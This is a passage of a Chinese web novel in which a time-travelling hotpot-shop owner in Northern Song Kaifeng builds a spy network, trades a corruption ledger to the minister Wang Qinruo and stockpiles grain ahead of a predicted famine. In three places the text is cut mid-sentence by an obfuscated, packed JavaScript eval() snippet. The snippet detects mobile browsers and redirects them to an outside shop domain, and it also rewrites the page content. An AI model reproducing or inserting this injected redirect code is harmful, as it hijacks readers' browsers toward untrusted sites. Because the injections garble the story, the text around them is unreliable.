当天晚上,萧北翊把阿九、刘二、钱串子叫到东厢房,把王钦若的答复说了一遍。 刘二第一个开口:“子翼,这个王钦若,比我们想的要精明。” 钱串子推了推眼镜:“他的意思是,赤羽可以存在,但必须在他的眼皮底下。” 阿九没说话,看着萧北翊。 “阿九,你怎么看?”萧北翊问。 “萧哥,我觉得这不是坏事。”阿九想了想,“王钦若愿意谈条件,说明他暂时不会动赤羽。至于以后——等赤羽足够大了,他动不了的时候,条件就不重要了。” 萧北翊笑了:“阿九说得对。这不是终点,是一个新的起点。” 第二天,萧北翊让阿九写了一封信,通过王隐之转交给王钦若。 信上只有几句话:“条件同意。账册三日内送到府上。不取分文,只求一事——日后赤羽的人,在东京城行走,不被人为难。” 王钦若的回复更快——第二天就送到了。 “允。” 萧北翊看着那个“允”字,沉默了一会儿,然后把信纸折好,收进了袖子里。 “阿九,去应天府。把账册取回来。但记住,不要直接交给王钦若。先拿回来,让钱串子抄一份。抄完了,原件通过王隐之转交。我们不能直接跟王钦若的人碰面。” “萧哥,为什么这么麻烦?” “因为王钦若在试探我们。”萧北翊说,“他想看看,赤羽到底有多大的能量。如果我们直接跟他的人碰面,他就知道赤羽的底细了。但如果我们通过王隐之转交,他就会觉得赤羽很神秘、很有规矩。神秘,有时候比实力更能让人忌惮。” 三月初七,阿九从应天府回来了。她带回了那本王仲宣亲笔签字的账册,还有吴德茂按了手印的证词。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650304|206859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>账册是真的。上面的每一笔账都记得清清楚楚——某年某月某日,赈灾粮多少石,入库多少,出库多少,剩下的去哪儿了。出库的数字比入库的少了一大截,差额全部进了王仲宣自己的腰包。 萧北翊翻了翻账册,递给钱串子:“抄一份。抄完了把原件包好,我亲自送去给王隐之。” 钱串子接过账册,手都在抖:“萧哥,这东西要是传出去——” “所以让你抄一份,留着备用。”萧北翊说,“原件给王钦若,让他自己去处理。咱们不沾手。” 三月初十,萧北翊亲自去太乙宫,把账册交给了王隐之。 王隐之接过账册,看了一眼,叹了口气。 “子翼,你这是在走钢丝。” “道长,走钢丝的人,只要不掉下来,就是最风光的那一个。” 王隐之摇了摇头,没再说什么,把账册收进了袖子里。 王钦若收到账册的当天,就让王仲宣辞了官,理由是“体弱多病,不堪公务”。御史台那边,案子还没查完,被告就跑了,最后不了了之。吴德茂一家老小,在赤羽的安排下,从应天府搬到了东京城,住进了萧北翊之前在城南买的那个院子里。 吴德茂对萧北翊千恩万谢,说要给他磕头。萧北翊扶住他,说了一句:“吴掌柜,不用谢。这是交易。你给我们账册,我们保你平安。各取所需。” 吴德茂愣了一下,然后点了点头。他是个生意人,懂什么叫“交易”。 王仲宣的事,就这么过去了。表面上风平浪静,但萧北翊知道,水下已经起了波澜。 王钦若收到了赤羽的“投名状”,知道东京城里有这么一个能办事、有渠道、而且不贪心的情报网络。他对赤羽的态度,从“警惕”变成了“观望”。只要赤羽不碰他的底线,他不会动赤羽。 而萧北翊手里,还握着一份账册的抄本。这不是用来威胁王钦若的,而是一张护身符——如果有一天王钦若翻脸,这张护身符就是赤羽最后的底牌。 阿九对这件事的评价是:“萧哥,你跟王钦若做交易,不怕他以后反咬你一口?” 萧北翊笑了笑:“跟他做交易,当然怕。但有的时候,最危险的地方,就是最安全的地方。” 三月中旬,赵衍派人来请萧北翊过府一叙。 还是在后花园的亭子里。赵衍穿了一件家常的灰色袍子,看起来精神不错。 “子翼,王钦若的事,你处理得很好。”赵衍开门见山,“他最近在朝中对我客气了不少。看来,他是把你当成了‘可以用’的人。” 萧北翊端起茶杯,喝了一口:“赵大哥,接下来您觉得我该怎么做?” 赵衍看了他一眼,嘴角微微上扬:“子翼,你心里不是已经有数了吗?你来找我,是想听我说,还是想让我觉得你在听我的?” 萧北翊笑了。赵衍这个人,比他想的还要通透。 “赵大哥,我想听您说。不是因为我不知道该怎么做,而是因为我需要知道,您希望我怎么做。” 赵衍端起茶杯,沉默了一会儿。 “子翼,你跟王钦若做交易,我不反对。但你有没有想过,王钦若这个人,贪得无厌。你今天给了他一个甜枣,他明天就会想要一筐。等他胃口越来越大的时候,你怎么办?” 萧北翊早就想过这个问题。 “所以我要让他觉得,赤羽给他的,不是枣,是药。不吃会死的那种。” 赵衍的眼睛亮了一下。 “什么意思?” “王钦若在朝中的敌人很多。丁谓、寇准、还有那些被他得罪过的清流。这些人,随时可能联合起来对付他。如果赤羽能给他提供这些人的动向,让他提前防范,他就会觉得赤羽是他的保命符。保命符,比甜枣值钱多了。” 赵衍盯着他看了好一会儿,然后笑了。 “子翼,你果然已经想好了一切。你今天来找我,不是来问计,是来告诉我——你需要我帮你提供那些人的动向,对吧?” 萧北翊放下茶杯,郑重地拱了拱手:“赵大哥明鉴。我在市井,您在朝堂。只有您能接触到那些人,只有我能把消息传递给王钦若。我们合作,各取所需。” 赵衍沉默了很久。亭子外面的风吹过竹丛,发出沙沙的声响。 “好。”赵衍终于开口,“我给你提供消息。但你记住——这些消息,不能全部给王钦若。要挑着给,掐着给。给他的时候,要让他觉得这是赤羽费了很大劲才弄到的。这样他才会珍惜,才会依赖。” 萧北翊点了点头。赵衍说的这些,他早就想到了。但他没有说“我早就知道了”,而是说了一句:“赵大哥说得对。您放心,我心里有数。” 赵衍看了他一眼,目光中多了一丝赞许。 “子翼,你这个人,最让人放心的地方,就是你知道什么时候该听别人的,什么时候该自己拿主意。” 萧北翊笑了笑,没有接话。 从赵府出来,萧北翊在城里绕了一大圈。 他没有直接回葫芦巷,而是在城中的街道上慢慢走着。三月的东京城,春风拂面,街上行人如织。有人在卖花,有人在卖糖葫芦,有人在街头杂耍,热闹得很。 萧北翊边走边想。 赵衍说得对,跟王钦若做交易,不能一次给太多。要像喂鱼一样,一点一点地喂,让鱼觉得每次都有收获,但又永远吃不饱。这样,鱼才会一直留在钩边,不会游走。 至于赵衍那边,也不能让他觉得赤羽完全在他的掌控之中。要让赵衍觉得赤羽是他的盟友,而不是他的手下。盟友可以合作,但不会俯首帖耳。 这两边的关系,就像走钢丝。一边是王钦若,一边是赵衍。哪边都不能靠太近,哪边都不能离太远。保持恰到好处的距离,才能在夹缝中生存,慢慢壮大。 萧北翊走到甜水巷口,抬头看了看南北火锅的招牌。夕阳西下,金字招牌在余晖中闪闪发光。 他推开门,走了进去。 店里热气腾腾,客人坐满了每一张桌子。阿九在柜台后面算账,刘二在角落里跟一个线人低声交谈,赵大锤在后厨忙得满头大汗。 一切都跟往常一样。 萧北翊走到柜台前,拿起账册翻了翻。 赤羽的账上现在有二百多两银子,存粮五百多石,布匹生意每月固定进账三十两左右。明面上的火锅店,每月的利润稳定在六十两上下。 钱不算多,但足够赤羽运转。更重要的是,赤羽在东京城已经扎下了根,不再是那个在破庙里瑟瑟发抖的小团伙了。 萧北翊合上账册,站在窗前,看着外面的夕阳。 三月的夕阳,暖洋洋的,照在脸上很舒服。 他伸了个懒腰,朝后厨喊了一声:“大锤,晚上加个菜。刘二哥要回来了。” 赵大锤在后厨应了一声:“好嘞!” 萧北翊笑了笑,转身回了东厢房。 棋局还在继续。鱼已经上钩了。接下来,该收线了。 15. 第十五章 王钦若的试探 大中祥符五年的暮春,东京城笼罩在一片蒙蒙细雨中。 萧北翊站在葫芦巷的东厢房窗前,看着雨丝从屋檐上滴下来,在青石地面上砸出一个个小坑。空气里弥漫着泥土和青草的气息,还有一丝若有若无的杏花香。 他的手里捏着一封信。信是赵衍写的,只有寥寥数语:“明日酉时,王相设宴,邀你赴席。来否自决。” 王相。王钦若。 萧北翊把信折好,塞进袖子里,嘴角微微上扬。王钦若请他去赴宴,这是一个信号——不是鸿门宴,也不是招揽,而是一次试探。他想看看,那个帮他拿到账册的“萧子翼”,到底是何方神圣。 阿九推门进来,手里端着一碗姜茶。 “萧哥,喝点热的。这天湿气重,别病了。” 萧北翊接过姜茶,喝了一口,辣得龇牙咧嘴。 “阿九,你说王钦若请我吃饭,我该穿什么去?” 阿九愣了一下:“王钦若请你去吃饭?” “对。明天酉时,他府上。” 阿九的眉头皱了起来:“萧哥,这会不会是鸿门宴?” “不会。”萧北翊放下碗,“王钦若要动我,不需要请我吃饭。他在东京城捏死我,比捏死一只蚂蚁还容易。他请我吃饭,说明他想看看我这个人,值不值得他用。” “那你去不去?” “去。为什么不去?”萧北翊笑了笑,“人家请吃饭,不去不给面子。” 第二天酉时,萧北翊准时出现在王钦若的府邸前。 他换了一身干净的青布袍子,不是新的,但浆洗得很平整。头发用木簪束起来,脸上也洗得干干净净,看起来像个家境殷实的读书人。他故意没有穿得太好,也没有穿得太差——恰到好处的不卑不亢。 王钦若的府邸在城中的保康坊,占地极广,门口蹲着两只石狮子,气派非凡。萧北翊报上名字,一个管事模样的人领着他穿过前院、中院,来到了后花园的水榭里。 水榭建在一个人工湖上,四面环水,只有一条回廊连接岸边。雨后的湖面波光粼粼,几朵睡莲刚刚绽开,粉白色的花瓣上还挂着水珠。 王钦若正坐在水榭里,面前摆着一壶茶、几碟点心。 这是萧北翊第一次见到这位当朝权相。王钦若六十来岁,身材矮小,面皮白净,下巴上留着一撮山羊胡,穿着一件深紫色的锦袍,看起来像个和气的老学究。但萧北翊注意到他的眼睛——那双眼睛不大,但目光锐利,像鹰一样,能把人从里到外看透。 “草民萧北翊,拜见王相公。”萧北翊躬身行礼。 王钦若摆了摆手:“不必多礼。坐。” 萧北翊在他对面坐下,腰背挺直,目光平视,不卑不亢。 王钦若端起茶杯,喝了一口,不紧不慢地打量着萧北翊。 “你就是萧子翼?” “正是。” “你那火锅店,生意不错。” “托王相公的福,勉强糊口。” 王钦若放下茶杯,嘴角微微上扬。他知道萧北翊在装傻——一个“勉强糊口”的火锅店,怎么可能帮他从应天府拿到账册?怎么可能在东京城里布下一张消息网? “萧子翼,老夫不喜欢拐弯抹角。”王钦若的目光变得深邃,“应天府的事,是你做的?” 萧北翊知道瞒不住,也没打算瞒。 “是。” “为什么帮老夫?” “因为草民想让王相公开心。” 王钦若愣了一下,然后哈哈大笑。笑声在水榭里回荡,惊起了湖面上几只水鸟。 “你这个人,有意思。”王钦若收起笑容,盯着萧北翊的眼睛,“你不是想让老夫开心,你是想让老夫欠你一个人情,对吧?” 萧北翊端起茶杯,喝了一口,不紧不慢地说:“王相公明鉴。草民是个商人,做任何事都有目的。帮王相公拿到账册,是草民的本事。至于王相公领不领这个情,那是王相公的事。” 王钦若的眼睛微微眯了起来。他在朝中做了几十年官,见过无数趋炎附势之人,但没有一个像萧北翊这样——明明是来攀附的,却摆出一副“我不在乎”的姿态。 “你就不怕老夫翻脸?” “怕。”萧北翊放下茶杯,“但草民觉得,王相公不是那种人。王相公是干大事的人,不会跟一个草民计较。” 王钦若又笑了,这次笑得很轻。 “萧子翼,你这个人,很会说话。但老夫在官场混了这么多年,最不信的就是会说话的人。” “那王相公信什么?” “信本事。”王钦若站起来,走到水榭边,背对着萧北翊,“你有本事,老夫就用你。你没本事,老夫就当没见过你。就这么简单。” 萧北翊站起来,走到王钦若身边,看着湖面上的睡莲。 “王相公,草民有个问题,不知道当不当问。” “问。” “您用草民,不怕赵郡王不高兴?” 王钦若转过头,看了他一眼,目光中带着一丝意外。 “你知道赵衍?” “草民跟他有几面之缘。他的护卫南晚枫,是草民的房东。” 王钦若沉默了一会儿,然后笑了。 “萧子翼,你比老夫想的要聪明。你知道老夫跟赵衍不对付,所以你故意把跟他的关系说出来,让老夫觉得你不是他的人。对不对?” 萧北翊没有否认。 “草民不是任何人的人。草民是草民自己的人。” 王钦若盯着他看了好一会儿,然后拍了拍他的肩膀。 “好一个‘草民是草民自己的人’。萧子翼,从今天起,你替老夫做事。老夫不会亏待你。” 从王钦若府上出来,天已经黑了。 萧北翊走在城中的街道上,心跳比平时快了几分。跟王钦若这种人打交道,每一步都像在刀尖上跳舞。说错一句话,可能就万劫不复。但他今天说的每一句话,都是经过精心设计的——不卑不亢,不谄媚,不隐瞒,也不全盘托出。 王钦若喜欢有本事的人,但不喜欢太有心机的人。萧北翊展现了自己的本事,也展现了自己的坦诚——他说了自己跟赵衍的关系,没有隐瞒。这会让王钦若觉得他不是一个两面三刀的人。 但实际上,萧北翊隐瞒了很多。他没有说赤羽的真正规模,没有说账册他抄了一份,没有说他跟赵衍合作提供消息的事。 有些事,能说。有些事,打死也不能说。 阿九在葫芦巷的院门口等着他,手里提着一盏灯笼。 “萧哥,怎么样?” “还行。”萧北翊接过灯笼,“王钦若请我吃了顿饭,聊了几句。他说从今天起,我替他做事。” 阿九的眉头皱了起来:“萧哥,你真的要替他做事?” “为什么不?”萧北翊推开院门,“替他做事,又不等于做他的奴才。他需要我的消息,我需要他的庇护。各取所需。” “可是他是奸臣。” 萧北翊停下脚步,回头看着阿九。 “阿九,在这个世道里,忠臣奸臣,跟我们有什么关系?我们是乞丐出身,能活下来就不错了。我们没有资格挑三拣四。谁给我们活路,我们就替谁做事。等我们有能力了,再谈忠奸。” 阿九沉默了一会儿,然后点了点头。 “萧哥,我懂了。” 王钦若给萧北翊的第一件任务,来得比他预想的要快。 第二天一早,周德茂就来了火锅店。这次他没带点心,带了一个信封。 “萧老板,王相公让我把这个交给你。”周德茂把信封放在柜台上,压低声音,“他说,三天之内,要这份名单上所有人的底细。” 萧北翊打开信封,抽出一张纸。纸上写了七八个名字,都是朝中官员。有几个他听说过,有几个完全陌生。名字后面标注了官职和籍贯,但没有其他信息。 “三天?”萧北翊收起纸,“有点紧。” 周德茂笑了笑:“王相公说,你一定能办到。” 他转身走了,留下萧北翊一个人站在柜台前。 萧北翊把名单上的名字一个一个地看了一遍,脑子飞快地转着。这些人,分布在不同的衙门,有的在御史台,有的在吏部,有的在枢密院。表面上看不出什么关联,但萧北翊注意到一个细节——这些人,都是王钦若在朝中的政敌的亲信。 王钦若要查他们的底细,是想找到突破口,各个击破。 “阿九,”萧北翊叫来阿九,“这些人,三天之内,能查到多少?” 阿九接过名单,看了一遍,眉头皱了起来。 “萧哥,这些人有的在地方,有的在京师,三天时间太紧了。” “紧也要查。”萧北翊说,“把赤羽所有能用的人都用上。应天府、洛阳、郑州,那边的线人也动起来。三天之后,我要一份完整的报告。” 阿九点头,转身去安排了。 接下来的三天,萧北翊几乎没有合眼。 他白天在火锅店里算账、调底料,晚上在葫芦巷的东厢房里看简报、整理信息。阿九带着赤羽的几十号人,像一台精密的机器一样运转着,从各个方向把信息汇总过来。 第一天,查到了两个人的底细。一个是御史台的监察御史,在任上收过贿赂,证据确凿。一个是吏部的员外郎,跟地方官有利益输送,账目被人记了下来。 第二天,又查到了三个。一个在枢密院的,私通辽国的商人,卖过军事情报。一个在户部的,贪污了赈灾粮,虽然数额不大,但性质恶劣。还有一个在开封府的,包庇罪犯,收了好处费。 第三天,最后三个人的信息也到了。虽然不如前五个人那么劲爆,但也各有各的问题——有的贪财,有的好色,有的滥用职权。 阿九把所有的信息整理成一份简报,交给萧北翊的时候,眼睛红红的,声音也有些哑。 “萧哥,都查到了。但有几个人的信息还不够详细,需要再花时间。” “够用了。”萧北翊翻着简报,“王钦若要的不是把他们整死,而是手里有把柄,能随时拿捏他们。” 第三天傍晚,萧北翊亲自把简报送到了王钦若府上。 王钦若接过简报,翻开看了看,脸上的表情从平淡变成了惊讶,从惊讶变成了满意。 “三天。七天个人。萧子翼,你比老夫想的还要有本事。” 萧北翊拱手:“王相公谬赞。赤羽的人跑了三天三夜,没合眼,才勉强查到这些。” 王钦若点了点头,把简报收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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信上说,王钦若最近在朝中动作频频,连续弹劾了好几个政敌的亲信。这些人被弹劾的理由,跟赤羽提供的信息一一对应。 赵衍在信末写道:“子翼,王钦若已经把你当成了他的一把刀。你要小心,刀用多了,会钝。钝了就会被扔。” 萧北翊看完信,把信纸在油灯上烧了。 赵衍说得对。他现在是王钦若的刀,刀锋凌厉,所向披靡。但刀总有一天会钝,钝了就会被扔。他要在刀钝之前,从刀变成握刀的手。 握刀的手,永远不会被扔。 四月底,萧北翊做了一件事——他把赤羽的消息网络又扩大了一圈,覆盖了汴河沿线的所有重要城镇,从东京城一直延伸到应天府、郑州、洛阳。 他把这套网络叫做“赤羽的血管”。东京城是心脏,汴河沿线是动脉,各个城镇的线人是毛细血管。心脏跳动,血液流动,信息就能在最短的时间内传遍整个中原。 阿九对这套体系赞不绝口:“萧哥,你这脑子是怎么长的?” 萧北翊笑了笑:“多看书。书看多了,脑子就好使了。” 他说的是实话。在现代,他读过的管理类书籍、情报类论文、历史类著作,加起来能堆满一个书架。那些知识在北宋用不上,但管理思维和逻辑框架,放之四海而皆准。 这是他的金手指——不是武功,不是异能,而是超越这个时代千年的知识储备和思维格局。 五月初,东京城入夏了。 甜水巷的槐树开满了白色的花,香气弥漫在整条巷子里。火锅店的生意随着天气转热有所下降,但萧北翊早就想好了对策——推出“夏日清凉锅”,用薄荷、菊花、金银花熬汤底,清爽解暑,大受欢迎。 赵大锤对他佩服得五体投地:“萧哥,你是不是什么都会?” 萧北翊想了想:“不会打仗,不会打架,不会生孩子。其他的,凑合。” 赵大锤:“……” 萧北翊站在火锅店门口,看着巷子里来来往往的行人。 赤羽在东京城已经站稳了脚跟。明面上有火锅店,暗地里有消息网络,账上有银子,仓里有粮食,手底下有四五十号人。王钦若把他当刀用,赵衍把他当盟友看,三叔搬进了葫芦巷,阿九独当一面,刘二在汴河沿线跑来跑去,钱串子的账记得越来越好了。 一切都在按照计划推进。 但萧北翊知道,真正的挑战还在后面。大中祥符五年的秋天,黄河就要决口了。到时候,饥荒、流民、瘟疫、暴乱,一系列的问题会接踵而至。赤羽能不能在这些危机中存活下来,甚至借势壮大,就看接下来的几个月了。 萧北翊深吸一口气,转身回了店里。 “大锤,晚上加个菜。今天高兴。” “萧哥,什么事这么高兴?” “没什么。就是觉得,活着真好。” 赵大锤挠挠头,没听懂,但还是去加菜了。 萧北翊坐在柜台后面,拿起账册,翻到空白页,写了一行字: “赤羽第八个月:存粮六百石,存银三百两,人员四十七人。王钦若已入局。赵衍仍在观望。下一步:黄河。” 他合上账册,靠在椅背上,闭上眼睛。 窗外的风吹进来,带着槐花的香气。 新的棋局,已经开始了。 16. 第十六章 槐花落,粮仓起 大中祥符五年的五月,东京城热得早。 甜水巷的槐花开得正盛,一串串白色的花穗垂下来,香气浓得化不开。老孙头在豆腐摊上挂了一层纱帘,不是为了好看,是为了挡苍蝇。他一边赶苍蝇一边骂:“这鬼天气,才五月就这么热,到了七八月还不得把人烤熟了?” 萧北翊蹲在火锅店门口,手里拿着一把蒲扇,慢悠悠地扇着。他在等一个人。 等了大约一盏茶的工夫,巷口出现了一个胖乎乎的身影。周德茂提着一个小竹篮,满头大汗地走过来。 “萧老板,你这店真难找。”周德茂把竹篮往柜台上一放,掀起衣摆擦了擦汗,“王相公让我给你送点东西。” 萧北翊打开竹篮,里面是一封信和一块玉佩。玉佩晶莹剔透,上面刻着一个“王”字。信上只有一行字:“持此玉者,如老夫亲至。” 萧北翊把玉佩收进袖子里,信折好收好。这是一块“通行证”——持此玉,可以在需要的时候调动王钦若的人马。王钦若给他这个东西,说明他对萧北翊的信任又深了一层。但萧北翊心里清楚,信任越深,知道的秘密就越多。等王钦若觉得他知道得太多了,就是翻脸的时候。 “周掌柜,替我谢过王相公。”萧北翊拱了拱手。 周德茂点了点头,转身要走,又回头说了一句:“萧老板,王相公让我问你,上次那份名单,还有没有更详细的?” 萧北翊想了想:“有。再过半个月,应该能查到更多。” “好。到时候我再来。”周德茂走了,胖乎乎的身影消失在巷口。 周德茂走后,萧北翊把玉佩拿在手里端详了一会儿。玉质温润,雕工精细,一看就是宫里的东西。王钦若把这么贵重的东西给他,表面上是一种信任,实际上也是一种捆绑——收了礼,就等于上了船。 萧北翊把玉佩收进袖子里,没有戴在身上。这种东西,戴出去太招摇,反而容易惹麻烦。 五月中旬,萧北翊让刘二又跑了一趟两浙路。这次不是买布匹,而是买粮食。 两浙路是北宋的粮仓,每年产的粮食除了供应本地,还有大量余粮运往东京城。萧北翊让刘二在杭州、苏州、湖州三个地方同时收购,每次买得不多,分散在不同的粮商手里,不引人注意。一个月下来,赤羽的存粮从六百石增加到了八百石。 钱串子看着账本,有点担心:“萧哥,咱们囤了这么多粮食,万一明年不闹饥荒怎么办?” 萧北翊看了他一眼:“我说过明年会闹饥荒吗?” “那你囤粮干嘛?” “有备无患。”萧北翊没有多解释。他总不能说“历史书上写的”吧? 钱串子虽然不理解,但还是按照萧北翊的要求,把每一笔粮食的进出都记得清清楚楚。他已经习惯了萧北翊做一些看似莫名其妙的事——囤粮、存药、挖地窖、在中转站存粮——虽然不知道为什么,但事实证明,萧哥做的事最后都是对的。 除了囤粮,萧北翊还做了一件事——存药。 他让孙驼子以“赤羽”的名义,在城南的仓库里存了一批常用药:黄连、金银花、连翘、板蓝根、甘草。这些药在平时不值钱,但饥荒之后往往伴随着瘟疫,到时候药比粮还贵。这是他在现代读历史时学到的——大灾之后必有大疫,大疫之时药如金。 孙驼子问他:“萧哥,你存这些药干嘛?” 萧北翊说:“救人。” 孙驼子没再问,但看萧北翊的眼神多了一层敬意。他活了六十多年,见过太多趁火打劫的人,没见过提前存药救人的。 五月下旬,萧北翊收到了一份让他警觉的情报。 阿九拿着简报,表情有些微妙:“萧哥,有人在查赤羽的底。” 萧北翊接过简报,看了一遍。简报上写着:最近半个月,有人在东京城四处打听赤羽的消息,主要集中在城南和城西。打听的人很谨慎,每次都是通过不同的中间人,没有留下明显痕迹。 “查到是谁的人了?”萧北翊问。 阿九摇头:“还没查到。但手法很专业,不像是普通人,应该是哪个衙门的人。” 萧北翊的眉头皱了起来。衙门的人在查赤羽?是王钦若?还是赵衍?还是别的什么人? “继续盯着。不要打草惊蛇。查到了人,先别动,告诉我。” 阿九点头,转身去了。 萧北翊站在窗前,看着院子里的柿子树。有人开始查赤羽了,这不是好事。赤羽虽然做了隐蔽化处理,但如果对方真有决心,一层一层地挖,迟早能挖到核心。 他需要想一个办法,让查赤羽的人知难而退。 思来想去,萧北翊想到了一个主意——借力打力。王钦若不是给了他一块玉佩吗?这块玉佩,该用的时候就得用。不是拿去跟人硬碰硬,而是让查赤羽的人知道,赤羽背后有人,不是他们能动得了的。 具体的办法,他打算让阿九去安排——找机会让查赤羽的人“偶然”发现赤羽跟王钦若有关系。不需要明说,只需要露一点痕迹,对方自然就会收手。王钦若在东京城的势力,没几个人敢惹。 五月底,萧北翊收到了王隐之的一封信。 信上写道:“子翼,你托贫道打听的事,有眉目了。二十年前,萧家灭门案的主审官叫张孝先,现在已经告老还乡,住在郑州。你若想查,可以去找他。但贫道提醒你——这个人,嘴很严。而且,案子已经过去了二十年,相关的卷宗恐怕早已不在了。即使找到他,也未必能问出什么。” 萧北翊把信看了两遍,然后收进了袖子里。 张孝先。郑州。这是二十年来,他第一次找到与萧家灭门案直接相关的线索。 但他没有急着动身。 他站在窗前,看着院子里的柿子树,想了很久。现在去郑州找张孝先,能问出什么?一个告老还乡的前推官,对二十年前的灭门案,能知道多少?就算他知道什么,他会说吗?一个能在官场上平安退休的人,一定深知“祸从口出”的道理。萧北翊一个陌生人上门,张孝先凭什么把二十年前的秘密告诉他? 更重要的是——现在去查,会不会打草惊蛇? 二十年前灭萧家满门的人,现在还在朝中,位高权重。如果萧北翊大张旗鼓地去查,消息传到那人耳朵里,后果不堪设想。赤羽现在虽然有了些根基,但跟朝中权贵比起来,还是鸡蛋碰石头。 萧北翊深吸一口气,做出了一个决定——暂时不查。 不是放弃,而是等。等到赤羽足够强大,等到他在朝中有了足够的盟友,等到他手里握着一副能跟对手抗衡的牌。那时候,再去翻二十年前的旧账,才是时候。 他把王隐之的信折好,压在枕头底下,没有告诉任何人。 六月初,刘二从两浙路回来了。 这次他不仅带回了粮食,还带回了一个人——一个姓林的茶商,四十来岁,精明干练,是刘二在杭州认识的。林茶商在东京城有生意,想找一个本地人合伙,扩大经营。 萧北翊跟林茶商聊了一个下午,从茶叶的品种聊到运输的路线,从价格聊到市场。林茶商对茶叶生意了如指掌,但对东京城的市场不太熟悉。萧北翊对茶叶生意一窍不通,但对东京城的市场了如指掌。 两人一拍即合。 萧北翊出人脉、出场地、出渠道,林茶商出货源、出技术、出经验。利润五五分。阿九给这个新业务取了个名字,叫“赤羽茶行”,挂在火锅店的名下,不单独注册。 钱串子对此的评价是:“萧哥,你是不是什么生意都想插一脚?” 萧北翊笑了笑:“钱不嫌多。再说了,茶叶生意做好了,比火锅店赚得多。” 六月中旬,赤羽的消息网络又扩大了一圈。 这一次不是在地域上扩张,而是在深度上。阿九在几个关键的位置安插了“卧底”——一个大户人家的丫鬟、一个衙门里的书吏、一个酒楼里的跑堂。这些人不是赤羽的正式成员,不需要知道赤羽的存在,只需要在固定的时间、固定的地点,把听到的、看到的事情告诉赤羽的线人。 萧北翊管这叫“深度渗透”。阿九管这叫“放长线钓大鱼”。 不管是叫什么,效果是立竿见影的。不到半个月,赤羽就掌握了好几条有价值的信息——哪个官员跟哪个商人有利益输送,哪个大户人家在暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650306|206859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中囤积粮食,哪个衙门在秘密调查什么人。 萧北翊把这些信息分门别类,一部分留作底牌,一部分通过周德茂“卖”给了王钦若。王钦若对赤羽的效率越来越满意,每半个月让周德茂送来五十两银子的“信息费”。 五十两不多,但对赤羽来说,是一笔稳定的收入。更重要的是,王钦若付钱,说明他把赤羽当成了一个可以长期合作的伙伴,而不是一次性的工具。 阿九对这件事的评价是:“萧哥,王钦若这是在养着咱们。等他把咱们养肥了,就该宰了。” 萧北翊说:“所以咱们不能只吃他的粮,还得有自己的地。” 六月底的一天傍晚,萧北翊正在东厢房里看简报,门被敲响了。 他打开门,南晚枫站在门口。她今天穿了一件深青色的褙子,头发披散着,手里提着一个小包裹。 “南姑娘?”萧北翊有些意外,“你怎么来了?” 南晚枫走进来,把包裹放在桌上,打开,里面是一包茶叶。 “林茶商让我带给你的。说是新到的明前龙井,给你尝尝。” 萧北翊愣了一下:“你跟林茶商认识?” “不认识。他送到赵府,说是给你的。赵衍让我转交。” 萧北翊拿起茶叶,闻了闻,清香扑鼻。这林茶商,做事倒是周到。 “替我谢过赵大哥。” 南晚枫没有要走的意思,在他对面坐下,看着他。 “萧子翼,你最近在囤粮?” 萧北翊心里一紧,但脸上不动声色:“你怎么知道?” “赵衍说的。他说你囤了不少粮食,还在汴河沿线设了中转站。”南晚枫的语气很平淡,“他想让我问你,你是不是知道些什么?” 萧北翊沉默了一会儿。赵衍在问这个问题,说明他已经注意到了赤羽的囤粮行动。一个郡王,不会无缘无故关心一个火锅店老板囤不囤粮。赵衍一定是察觉到了什么。 “南姑娘,你帮我转告赵大哥——‘有备无患’。” 南晚枫盯着他看了一会儿,然后站起来,走到门口。 “萧子翼,你这个人,说话只说一半。” “说一半就够了。说全了,就没意思了。” 南晚枫没有回头,迈步走了出去。 南晚枫走后,萧北翊把那包龙井茶收好,坐回桌前,继续看简报。 他的脑子里在飞速运转。赵衍在关注囤粮的事,说明他也注意到了粮食市场的异常。一个郡王,能接触到朝堂上的信息,他一定知道些什么——也许是从户部的渠道,也许是从他在朝中的眼线。 萧北翊在想,要不要跟赵衍共享一些信息。不是全部,而是一部分——比如,他知道明年可能会有旱灾,所以提前囤粮。这个理由,既不会暴露他是穿越者,也能解释他的行为。 思来想去,萧北翊决定暂时不说。等到时机成熟了,自然会说。 现在最重要的,是继续囤粮、存药、扩张网络。大中祥符五年的秋天,黄河就要决口了。到时候,饥荒、流民、瘟疫、暴乱,会接踵而至。赤羽能不能在这些危机中存活下来,甚至借势壮大,就看接下来的几个月了。 萧北翊合上简报,把新收到的龙井茶泡了一壶,坐在窗前,慢慢喝着。 茶很香,入口微苦,回味甘甜。 窗外,槐花正在落,白色的花瓣铺了一地,像下了一场小雪。 萧北翊忽然想起了一件事——穿越前,他在现代也喝过龙井,是在杭州旅游的时候。那时候他怎么也想不到,自己有一天会坐在北宋的院子里,喝着一千年前的龙井,谋划着一场跨越千年的大棋。 命运这东西,真是说不清。 萧北翊把杯中茶一饮而尽,拿起笔,在简报的空白处写了一行字: “赤羽第九个月:存粮九百石,存银三百五十两,人员五十二人。王钦若已入局。赵衍在观望。有人在查赤羽底细,初步判断不是王钦若的人。继续保持警惕,不主动惹事,也不怕事。” 他合上简报,吹灭了油灯。 窗外,月光如水。 